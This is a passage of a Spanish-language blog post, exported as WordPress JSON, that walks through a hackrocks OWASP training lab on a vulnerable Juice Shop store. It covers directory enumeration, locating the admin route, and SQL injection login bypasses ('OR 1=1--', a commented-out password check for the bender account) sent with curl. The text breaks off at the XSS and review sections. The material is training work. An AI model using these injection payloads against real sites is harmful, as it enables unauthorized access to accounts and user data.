{"id":23459,"date":"2026-04-17T14:07:34","date_gmt":"2026-04-17T20:07:34","guid":{"rendered":"https:\/\/sada.services\/?p=23459"},"modified":"2026-04-17T16:48:56","modified_gmt":"2026-04-17T22:48:56","slug":"6-training-hub-i-vulnerabilities-analyst-pd-wrl-007-funciones-basicas-de-evaluacion-y-gestion-de-la-vulnerabilidad-testing-owasp-vulnerabilities","status":"publish","type":"post","link":"https:\/\/sada.services\/?p=23459","title":{"rendered":"6. Training Hub I: Vulnerabilities Analyst \u2013 PD-WRL-007 | Funciones B\u00e1sicas de Evaluaci\u00f3n y Gesti\u00f3n de la Vulnerabilidad | Testing OWASP Vulnerabilities"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Resumen<\/h2>\n\n\n\n<p>Explora diferentes vulnerabilidades que nos podemos encontrar en una aplicaci\u00f3n web insegura.<\/p>\n\n\n\n<p>Para ello contamos con una \u201cTienda Online\u201d desplegada a la que tendr\u00e1s que atacar. Utiliza herramientas de enumeraci\u00f3n de directorios, herramientas del desarrollador del navegador, conocimientos t\u00e9cnicos y creatividad sobre todo.<\/p>\n\n\n\n<p>\u00a1Empezamos!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Empezando<\/h3>\n\n\n\n<p>La web vulnerable a testear se encuentra en el dominio&nbsp;<a href=\"https:\/\/challenges.hackrocks.com\/owasp\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/challenges.hackrocks.com\/owasp<\/a>.<\/p>\n\n\n\n<p>Si accedemos y clicamos en el men\u00fa en \u201c<em>Help Getting Started<\/em>\u201d, el robot nos dar\u00e1 una serie de pistas, entre ellas consultar el&nbsp;<strong>Panel de puntuaci\u00f3n (Score Board)<\/strong>, que actualmente no es accesible. Podemos visitarlo a&nbsp; trav\u00e9s de la URL pero hemos de descubrir c\u00f3mo.<\/p>\n\n\n\n<p>A partir de aqu\u00ed, se te explicar\u00e1 c\u00f3mo resolver algunos mini retos, para luego seas el que explote la web para conseguir los retos. En este lab se abordan s\u00f3lo una parte de ellos, pero eres totalmente libre de intentar resolverlos todos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Habilitando la tabla de puntuaci\u00f3n<\/h3>\n\n\n\n<p>Para esta prueba inspeccionaremos la p\u00e1gina utilizando las herramientas del desarrollador del navegador.<\/p>\n\n\n\n<p>Utiliza el \u201c<em>debugger<\/em>\u201d y busca en todos los ficheros de c\u00f3digo fuente coincidencias con el nombre del componente.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"513\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-110-1024x513.png\" alt=\"\" class=\"wp-image-23465\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-110-1024x513.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-110-300x150.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-110-768x385.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-110-1536x769.png 1536w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-110.png 1621w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u00a1A por los datos!<\/h3>\n\n\n\n<p>El siguiente paso que trataremos de hacer ser\u00e1 realizar una b\u00fasqueda de directorios de la aplicaci\u00f3n web, para ello podemos usar&nbsp;<strong>dirb<\/strong>&nbsp;o&nbsp;<strong>gobuster.<\/strong><\/p>\n\n\n\n<p>Se ejecuta el comando simple de dirb sobre la&nbsp;<em>IP:puerto<\/em>, y la herramienta se encarga de listar los archivos y directorios (normales y ocultos) que se alojan en la web.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>abrimos kali<\/li>\n\n\n\n<li>nos conectamos<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh kali@192.168.122.33<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ejecutamos<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>dirb https:\/\/ip\/url:443\ndirb http:\/\/ip\/url:80\n\n# Ejemplo funcional\ndirb https:\/\/challenges.hackrocks.com\/owasp<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Empieza a correr<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"789\" height=\"423\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-111.png\" alt=\"\" class=\"wp-image-23466\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-111.png 789w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-111-300x161.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-111-768x412.png 768w\" sizes=\"(max-width: 789px) 100vw, 789px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Aqui empieza a obtener rutas y archivos existentes<\/li>\n\n\n\n<li>aqui va devolver error hay que fijarnos en las paginas con codigos<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"833\" height=\"337\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-113.png\" alt=\"\" class=\"wp-image-23470\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-113.png 833w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-113-300x121.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-113-768x311.png 768w\" sizes=\"(max-width: 833px) 100vw, 833px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Si nos metemos a <a href=\"https:\/\/challenges.hackrocks.com\/owasp\/ftp\">https:\/\/challenges.hackrocks.com\/owasp\/ftp<\/a><\/li>\n\n\n\n<li>vemos archivos .md<\/li>\n\n\n\n<li>si nos metemos a este <a href=\"https:\/\/challenges.hackrocks.com\/owasp\/ftp\/acquisitions.md\">https:\/\/challenges.hackrocks.com\/owasp\/ftp\/acquisitions.md<\/a><\/li>\n\n\n\n<li>vemos que el documento es confidencial<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"866\" height=\"527\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-114.png\" alt=\"\" class=\"wp-image-23471\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-114.png 866w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-114-300x183.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-114-768x467.png 768w\" sizes=\"(max-width: 866px) 100vw, 866px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"414\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-112-1024x414.png\" alt=\"\" class=\"wp-image-23469\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-112-1024x414.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-112-300x121.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-112-768x310.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-112.png 1201w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">En busca del panel admin<\/h3>\n\n\n\n<p>En esta parte tendr\u00e1s que resolver el mini reto de conseguir encontrar el panel de administraci\u00f3n.<\/p>\n\n\n\n<p>Te dejamos un poco a tu aire, si ves alg\u00fan mensaje de&nbsp;<em>error 403 (Forbidden)<\/em>&nbsp;es que est\u00e1s en el buen camino.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Para este reto buscamos el archivo js principal<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -s https:\/\/challenges.hackrocks.com\/owasp\/ | grep -o 'src=\"&#91;^\"]*main&#91;^\"]*\"'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"911\" height=\"100\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-115.png\" alt=\"\" class=\"wp-image-23472\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-115.png 911w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-115-300x33.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-115-768x84.png 768w\" sizes=\"(max-width: 911px) 100vw, 911px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>buscamos la ruta en ese archivo<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -s \"https:\/\/challenges.hackrocks.com\/owasp\/main.js\" | grep -o '\"administration\"'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1007\" height=\"131\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-116.png\" alt=\"\" class=\"wp-image-23473\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-116.png 1007w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-116-300x39.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-116-768x100.png 768w\" sizes=\"(max-width: 1007px) 100vw, 1007px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>entonces ya podemos construir una url<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;challenges.hackrocks.com\/owasp\/administration<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>pero la apliaci\u00f3n usa Angular <\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"839\" height=\"546\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-117.png\" alt=\"\" class=\"wp-image-23474\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-117.png 839w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-117-300x195.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-117-768x500.png 768w\" sizes=\"(max-width: 839px) 100vw, 839px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"336\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-118-1024x336.png\" alt=\"\" class=\"wp-image-23475\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-118-1024x336.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-118-300x98.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-118-768x252.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-118.png 1191w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Probando el Login<\/h3>\n\n\n\n<p>En el paso anterior descubrimos la ruta del panel de administraci\u00f3n pero no pudimos acceder ya que no tenemos usuario con sesi\u00f3n iniciada.&nbsp;<\/p>\n\n\n\n<p>Tu misi\u00f3n ser\u00e1 testear el login sin hacer Registro, es decir, sin estar registrado ni tener que hacerlo, accede al Login, haz algunas pruebas sobre el mismo e intenta responder a las preguntas que se te plantean.<\/p>\n\n\n\n<p>Pregunta 1<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"310\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-119-1024x310.png\" alt=\"\" class=\"wp-image-23476\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-119-1024x310.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-119-300x91.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-119-768x232.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-119.png 1160w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ingresamos a la pagina de login<\/li>\n\n\n\n<li><a href=\"https:\/\/challenges.hackrocks.com\/owasp\/#\/login\">https:\/\/challenges.hackrocks.com\/owasp\/#\/login<\/a><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"190\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-120-1024x190.png\" alt=\"\" class=\"wp-image-23477\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-120-1024x190.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-120-300x56.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-120-768x142.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-120-1536x285.png 1536w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-120.png 1834w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Y en el campo de email agregamos<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>' OR 1=1--<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"444\" height=\"494\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-121.png\" alt=\"\" class=\"wp-image-23478\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-121.png 444w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-121-270x300.png 270w\" sizes=\"(max-width: 444px) 100vw, 444px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>nos permite ingresar<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"516\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-122-1024x516.png\" alt=\"\" class=\"wp-image-23479\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-122-1024x516.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-122-300x151.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-122-768x387.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-122.png 1202w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ejecutamos esto nos devuelve un 200 de resultado ok<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -s -o \/dev\/null -w \"%{http_code}\" \\\n  -X POST https:\/\/challenges.hackrocks.com\/owasp\/rest\/user\/login \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\"email\":\"'\\'' OR 1=1--\",\"password\":\"test\"}'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"785\" height=\"197\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-124.png\" alt=\"\" class=\"wp-image-23481\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-124.png 785w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-124-300x75.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-124-768x193.png 768w\" sizes=\"(max-width: 785px) 100vw, 785px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>pero si queremos ver el CODIGO DE ERROR como en la pregunta debemos poner una comilla en el campo de email y cualquier cosa en password<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"702\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-125-1024x702.png\" alt=\"\" class=\"wp-image-23482\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-125-1024x702.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-125-300x206.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-125-768x526.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-125.png 1093w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Y en las herramientas de de desarrollo  vemos un error 500, si tocamos en respuesta vemos SQLITE_ERROR y esta es la respuesta<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"358\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-126-1024x358.png\" alt=\"\" class=\"wp-image-23483\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-126-1024x358.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-126-300x105.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-126-768x269.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-126-1536x537.png 1536w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-126.png 1922w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"272\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-127-1024x272.png\" alt=\"\" class=\"wp-image-23484\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-127-1024x272.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-127-300x80.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-127-768x204.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-127.png 1175w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Login Bypass<\/h3>\n\n\n\n<p>Como hemos podido ver, acompa\u00f1ado del c\u00f3digo de error tenemos la consulta que se ejecuta en el login.<\/p>\n\n\n\n<p>Tu misi\u00f3n consiste en hacer&nbsp;el Login Bypass usando la informaci\u00f3n.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>primero esta es la respuesta completa del paso anterior<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>error\t{ message: 'SQLITE_ERROR: unrecognized token: \"2510c39011c5be704182423e3a695e91\"', stack: \"Error\\n at Database.&lt;anonymous> (\/juice-shop\/node_modules\/sequelize\/lib\/dialects\/sqlite\/query.js:185:27)\\n at \/juice-shop\/node_modules\/sequelize\/lib\/dialects\/sqlite\/query.js:183:50\\n at new Promise (&lt;anonymous>)\\n at Query.run (\/juice-shop\/node_modules\/sequelize\/lib\/dialects\/sqlite\/query.js:183:12)\\n at \/juice-shop\/node_modules\/sequelize\/lib\/sequelize.js:315:28\\n at process.processTicksAndRejections (node:internal\/process\/task_queues:104:5)\", name: \"SequelizeDatabaseError\", \u2026 }\nmessage\t'SQLITE_ERROR: unrecognized token: \"2510c39011c5be704182423e3a695e91\"'\nstack\t\"Error\\n at Database.&lt;anonymous> (\/juice-shop\/node_modules\/sequelize\/lib\/dialects\/sqlite\/query.js:185:27)\\n at \/juice-shop\/node_modules\/sequelize\/lib\/dialects\/sqlite\/query.js:183:50\\n at new Promise (&lt;anonymous>)\\n at Query.run (\/juice-shop\/node_modules\/sequelize\/lib\/dialects\/sqlite\/query.js:183:12)\\n at \/juice-shop\/node_modules\/sequelize\/lib\/sequelize.js:315:28\\n at process.processTicksAndRejections (node:internal\/process\/task_queues:104:5)\"\nname\t\"SequelizeDatabaseError\"\nparent\t{ errno: 1, code: \"SQLITE_ERROR\", sql: \"SELECT * FROM Users WHERE email = ''' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL\" }\noriginal\t{ errno: 1, code: \"SQLITE_ERROR\", sql: \"SELECT * FROM Users WHERE email = ''' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL\" }\nsql\t\"SELECT * FROM Users WHERE email = ''' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL\"\nparameters\t{}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ahora con base a la respuesta debemos crear una consulta asi<\/li>\n\n\n\n<li>original<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM Users WHERE email = ''' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ahora si le agregamos<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>' OR 1=1--<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>quedaria asi<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Asi seria el select que se jecuta<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM Users WHERE email = '' OR 1=1<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>y esto comenta el resto<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>--' AND password = '2510c39011c5be704182423e3a695e91' AND deletedAt IS NULL<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>po rtanto si hacemos <\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -s \\\n  -X POST https:\/\/challenges.hackrocks.com\/owasp\/rest\/user\/login \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\"email\":\"'\\'' OR 1=1--\",\"password\":\"test\"}' | python3 -m json.tool\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>nos retorna los usuarios<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"215\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-128-1024x215.png\" alt=\"\" class=\"wp-image-23486\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-128-1024x215.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-128-300x63.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-128-768x161.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-128-1536x322.png 1536w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-128.png 1914w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"369\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-129-1024x369.png\" alt=\"\" class=\"wp-image-23487\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-129-1024x369.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-129-300x108.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-129-768x277.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-129.png 1202w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Accediendo a bender<\/h3>\n\n\n\n<p>Teniendo en cuenta la t\u00e9cnica utilizada anteriormente, prueba a iniciar sesi\u00f3n en la cuenta de&nbsp;<em>bender<\/em>, cuya informaci\u00f3n la tienes en el panel de administraci\u00f3n. Tendr\u00e1s que echarle imaginaci\u00f3n para saltarte la contrase\u00f1a, pero ahora el email es v\u00e1lido.<\/p>\n\n\n\n<p><br><strong>Pregunta<\/strong><\/p>\n\n\n\n<p><strong>\u00bfQu\u00e9 introduces en el campo de email para poder acceder?<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"796\" height=\"699\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-130.png\" alt=\"\" class=\"wp-image-23488\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-130.png 796w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-130-300x263.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-130-768x674.png 768w\" sizes=\"(max-width: 796px) 100vw, 796px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>bender@juice-sh.op' --<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>logramos ingresar<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"532\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-131-1024x532.png\" alt=\"\" class=\"wp-image-23489\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-131-1024x532.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-131-300x156.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-131-768x399.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-131-1536x798.png 1536w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-131.png 1542w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Testing XSS<\/h3>\n\n\n\n<p>Tras los pasos previos realizados, ya puedes visitar el panel de administraci\u00f3n y ver todos los usuarios registrados as\u00ed como las rese\u00f1as.<\/p>\n\n\n\n<p>Si visitas el score-board puedes&nbsp;ver que hay informaci\u00f3n extra sobre algunos retos. Realiza alg\u00fan XSS y responde a la pregunta.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"576\" height=\"750\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-132.png\" alt=\"\" class=\"wp-image-23491\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-132.png 576w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-132-230x300.png 230w\" sizes=\"(max-width: 576px) 100vw, 576px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"511\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-133-1024x511.png\" alt=\"\" class=\"wp-image-23492\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-133-1024x511.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-133-300x150.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-133-768x383.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-133-1536x767.png 1536w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-133.png 1629w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"309\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-134-1024x309.png\" alt=\"\" class=\"wp-image-23493\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-134-1024x309.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-134-300x91.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-134-768x232.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-134.png 1226w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Probando rese\u00f1as<\/h3>\n\n\n\n<p>Te gusta probar cosas as\u00ed que decides dar una rese\u00f1a de 0 estrellas e intentar obtener informaci\u00f3n relevante.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"263\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-135-1024x263.png\" alt=\"\" class=\"wp-image-23494\" srcset=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-135-1024x263.png 1024w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-135-300x77.png 300w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-135-768x197.png 768w, https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-135.png 1174w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"254\" src=\"https:\/\/sada.services\/wp-content\/uploads\/2026\/04\/image-136-1024x254.png\" alt=\"\" class=\"wp-image-23495\" 